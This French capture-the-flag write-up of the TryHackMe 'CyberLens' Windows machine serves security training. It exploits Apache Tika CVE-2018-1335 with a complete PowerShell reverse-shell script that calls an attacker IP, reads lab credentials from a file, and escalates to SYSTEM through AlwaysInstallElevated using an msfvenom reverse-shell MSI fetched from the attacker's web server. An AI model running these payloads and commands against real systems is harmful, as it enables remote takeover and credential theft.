

Avertissement : ce document est un write-up réalisé dans un cadre strictement éducatif et légal, sur une machine de laboratoire dédiée (environnement d'entraînement type CTF/TryHackMe). Les techniques décrites ne doivent être utilisées que sur des systèmes pour lesquels vous disposez d'une autorisation explicite.

CyberLens

dimisan221, TryHackMe - WEB

FLAG USER

RECONNAISSANCE

NMAP

On fait un **nmap** afin de réaliser notre reconnaissance et de voir par où on va attaquer.
On voit qu'il y a un port 80 ouvert on va voir ce qu'on peut trouver comme information sur le port 80.

```
(Dim LAPTOP-J0R081PI)-[~]  
$ nmap -sT -p- 10.128.146.220  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-12 22:51 CEST  
Nmap scan report for 10.128.146.220  
Host is up (0.019s latency).  
Not shown: 65519 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
80/tcp    open  http  
135/tcp    open  msrpc  
139/tcp    open  netbios-ssn  
445/tcp    open  microsoft-ds  
3389/tcp   open  ms-wbt-server  
5985/tcp   open  wsman  
47001/tcp  open  winrm  
49664/tcp  open  unknown  
49665/tcp  open  unknown  
49666/tcp  open  unknown  
49667/tcp  open  unknown  
49669/tcp  open  unknown  
49670/tcp  open  unknown  
49671/tcp  open  unknown  
49674/tcp  open  unknown  
61777/tcp  open  unknown  
  
Nmap done: 1 IP address (1 host up) scanned in 30.18 seconds
```

Site web

On voit que sur le site web, il y a une zone où l'on peut mettre une image afin de pouvoir voir leurs métadonnées. Si on fait le test on remarque qu'il envoie l'image sur un service qui est sur le port 61777 /meta.

The screenshot shows a web browser window with the address bar at `http://10.128.146.220`. The page title is "CyberLens: Unveiling the x" and the URL is "Server Not Found". The page content includes the heading "CyberLens Image Extractor" and a paragraph: "In this labyrinthine realm of cybersecurity, we have mastered the arcane arts of metadata extraction, the all-seeing eye that gazes into the depths of files, extracting their hidden truths. With the CyberLens Image Extractor as our trusty sidekick, we delve into the very fabric of digital images, peeling back layers of metadata to expose the unseen stories they yearn to tell."

The browser's developer tools are open, showing the Network tab. The table of network requests is as follows:

Status	Meth...	Domain	File	Initiator	Type	Transferred	S...
❌	OPTL...	cyberlens.thm...	meta	fetch		CORS Failed	0 B
PUT	PUT	cyberlens.thm:6...	meta	/:202 (fetch)			
❌	OPTL...	cyberlens.thm...	meta	fetch		CORS Failed	0 B
PUT	PUT	cyberlens.thm:6...	meta	/:202 (fetch)			
❌	OPTL...	cyberlens.thm...	meta	fetch		CORS Failed	0 B
PUT	PUT	cyberlens.thm:6...	meta	/:202 (fetch)			
❌	OPTL...	cyberlens.thm...	meta	fetch		CORS Failed	0 B
PUT	PUT	cyberlens.thm:6...	meta	fetch			
❌	OPTL...	cyberlens.thm...	meta	fetch		CORS Failed	0 B
PUT	PUT	cyberlens.thm:6...	meta	fetch			

The selected PUT request details are shown on the right:

- PUT**
- Scheme: http
- Host: cyberlens.thm:61777
- Filename: /meta
- Transferred: 0 GB (0 GB size)
- Referrer Policy: strict-origin-when-cross-origin
- DNS Resolution: System
- Request Headers (369 B):
 - Accept: application/json
 - Accept-Encoding: gzip, deflate
 - Accept-Language: en-US,en;q=0.5

CURL

Si je fais un **curl** sur le port 61777. Je vois qu'il y a du Apache qui tourne avec un Tika 1.17. Tika sert à extraire les méta données. Le problème de cette méthode, c'est qu'elle possède une CVE.

La CVE [2018-1335](#), le script exploite une mauvaise validation des paramètres OCR d'Apache Tika pour exécuter à distance une commande Windows sur le serveur vulnérable.

A partir de cette information nous pouvons en déduire que nous pouvons faire exécuter des commandes au serveur web, dont par exemple un reverse shell.

Payload

On va créer une variable shell qu'on appellera **PAYLOAD**, qui contient la sortie de la commande Python, ici le script PowerShell encodé en Base64 UTF-16LE. On va s'en servir pour stocker le reverse shell PowerShell encodé en Base64, afin de l'envoyer proprement au script d'exploitation sans casser les guillemets, les espaces ou les caractères spéciaux.

```
PAYLOAD=$(python3 - <<'PY'
import base64
```

```
script = r'''
$client = New-Object System.Net.Sockets.TCPClient("192.168.145.73",8000)
$stream = $client.GetStream()
$bytes = New-Object byte[] 65536

while (($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0) {
    $command = [System.Text.Encoding]::ASCII.GetString($bytes,0,$i)

    try {
        $result = Invoke-Expression $command 2>&1 | Out-String
    } catch {
        $result = $_ | Out-String
    }

    $result += "PS " + (Get-Location).Path + "> "
    $output = [System.Text.Encoding]::ASCII.GetBytes($result)
    $stream.Write($output,0,$output.Length)
    $stream.Flush()
}

$client.Close()
'''

print(base64.b64encode(script.encode("utf-16le")).decode())
PY
)
```

NETCAT

On va ensuite lancer **netcat**, en écoute sur le port 4444

On lance ensuite notre exploit avec la commande suivante "powershell.exe -NoProfile -EncodedCommand \$PAYLOAD"

```
(Dim@LAPTOP-J0R081PI)-[~/THM/cyberlens]
$ python3 46540-new.py 10.128.146.220 61777 "powershell.exe -NoProfile -EncodedCommand $PAYLOAD"
Code HTTP : 200
Réponse : '"X-Parsed-By","org.apache.tika.parser.DefaultParser","org.apache.tika.parser.ocr.TesseractOCRParser","org.apache.tika.parser.EmptyParser"\n"language",""\n"Content-Type","image/jp2"\n'
```

Et on obtient un magnifique reverse shell.

```
(Dim@LAPTOP-J0R081PI)-[~/THM/cyberlens]
$ sudo nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.145.73] from (UNKNOWN) [10.128.146.220] 50170
id
Invoke-Expression : The term 'id' is not recognized as the name of a cmdlet, function, script file, or operable
program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:10 char:19
+ ~~~~~
+ $result = Invoke-Expression $command 2>&1 | Out-String
+
+ CategoryInfo          : ObjectNotFound: (id:String) [Invoke-Expression], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException,Microsoft.PowerShell.Commands.InvokeExpressionCommand

PS C:\Windows\system32> ipconfig
```

Il ne vous restera plus qu'à trouver le flag sur la machine.

FLAG USER = FAIT

FLAG ROOT

Ensuite on fouille sur la machine dans l'utilisateur **CyberLens** et on trouve un fichier appelé CyberLens-Management.txt, qui permet d'obtenir les credentials.

```
PS C:\Users\CyberLens> cat Documents/Management/CyberLens-Management.txt
Remember, manual enumeration is often key in an engagement ;)

CyberLens
HackSmarter123
```

RDP

Si on se rappelle du **nmap** plutôt on remarque que le port qui permet de se connecter à la machine en RDP sur le port 3389 est ouvert.

On va donc pouvoir essayer de se connecter en RDP à la machine avec la commande suivante.

```
Dim@LAPTOP-J0R081PI: ~/THM/cyberlens
$ sudo xfreerdp3 /v:10.130.152.233 /u:CyberLens /p:'HackSmarter123' /cert:ignore /dynamic-resolution /auth-pkg-list:none,ntlm
[sudo] password for Dim:
[20:53:23:939] [2003:000007d3] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Using /p is insecure
[20:53:23:939] [2003:000007d3] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Passing credentials or secrets via command line might expose these in the process list
[20:53:23:939] [2003:000007d3] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Consider using one of the following (more secure)
```

En se connectant on voit qu'on accède à la machine à distance.

On va chercher une manière pour élever ses privilèges sur cette machine Windows. D'habitude on trouve des informations sur la machine, qui nous permettent de nous connecter via le protocole ssh à la machine. Mais là, il n'y a pas de protocole ssh qui permette de se connecter en tant qu'admin, ni de credential nous permettant de nous connecter en admin via RDP. Alors on va chercher d'autres vulnérabilités.

Dans la famille des vulnérabilités il n'y a pas que les CVE, il y a aussi des erreurs de configuration. En l'occurrence, la vulnérabilité est une erreur de configuration appelée Windows Privilege Escalation via AlwaysInstallElevated

Erreur de configuration - MSFVENOM

Pour la vérifier on doit taper ses 2 commandes.

```
PS C:\Users\CyberLens> reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated    REG_DWORD    0x1

PS C:\Users\CyberLens> reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated    REG_DWORD    0x1
```

Et si elle nous sort les réponses que l'on voit en sortie, on sait que l'on peut exploiter la vulnérabilité. On va ensuite utiliser **msfvenom** pour générer un fichier installeur Windows (.msi) contenant un shellcode qui, une fois exécuté sur la machine cible, ouvre un **reverse shell** (accès distant) vers l'attaquant à l'adresse **192.168.145.73** sur le port **5555**.

```
(Dim@LAPTOP-J0R081PI)-[~/THM/cyberlens]
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.145.73 LPORT=5555 -f msi -o system.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: system.msi

(Dim@LAPTOP-J0R081PI)-[~/THM/cyberlens]
$ ls
46540-new.py  46540.py  46540.py:Zone.Identifier  admin.msi  Picture  PowerUp.ps1  system.msi
```

On se met ensuite dans le bon répertoire, on ouvre un serveur web avec python afin de rendre notre fichier MSI accessible à la machine cible.

NETCAT

On ouvre aussi un **netcat** afin de pouvoir accéder à la machine.

```
(Dim@LAPTOP-J0R081PI)-[~/THM/cyberlens]
$ nc -lvp 5555
listening on [any] 5555 ...
```

EXPLOIT

Une fois que c'est fait, on vient sur la machine Windows télécharger le fichier MSI.

```
PS C:\Users\CyberLens> Invoke-WebRequest -Uri 'http://192.168.145.73:8000/system.msi' -OutFile "$env:TEMP\system.msi"
PS C:\Users\CyberLens> Get-Item "$env:TEMP\system.msi"

Directory: C:\Users\CyberLens\AppData\Local\Temp\1

Mode                LastWriteTime         Length Name
----                -
-a-----         7/13/2026   9:24 PM         159744 system.msi

PS C:\Users\CyberLens> █
```

Une fois le fichier téléchargé, il ne restera plus qu'à l'exécuter

```
PS C:\Users\CyberLens> msixexec.exe /i "$env:TEMP\system.msi" /qn /norestart
PS C:\Users\CyberLens> █
```

REVERSE SHELL

On obtient donc notre reverse shell sur notre machine attaquante.

```
(Dim LAPTOP-J0R081PI)-[~/THM/cyberlens]  
$ nc -lvnp 5555  
listening on [any] 5555 ...  
connect to [192.168.145.73] from (UNKNOWN) [10.128.140.185] 49880  
Microsoft Windows [Version 10.0.17763.1821]  
(c) 2018 Microsoft Corporation. All rights reserved.  
  
C:\Windows\system32>
```

On regarde ensuite nos privilèges et on voit que l'on est **ystème**.

```
C:\Windows\system32>whoami  
whoami  
nt authority\system
```

On va donc ensuite récupérer le flag qui nous intéresse.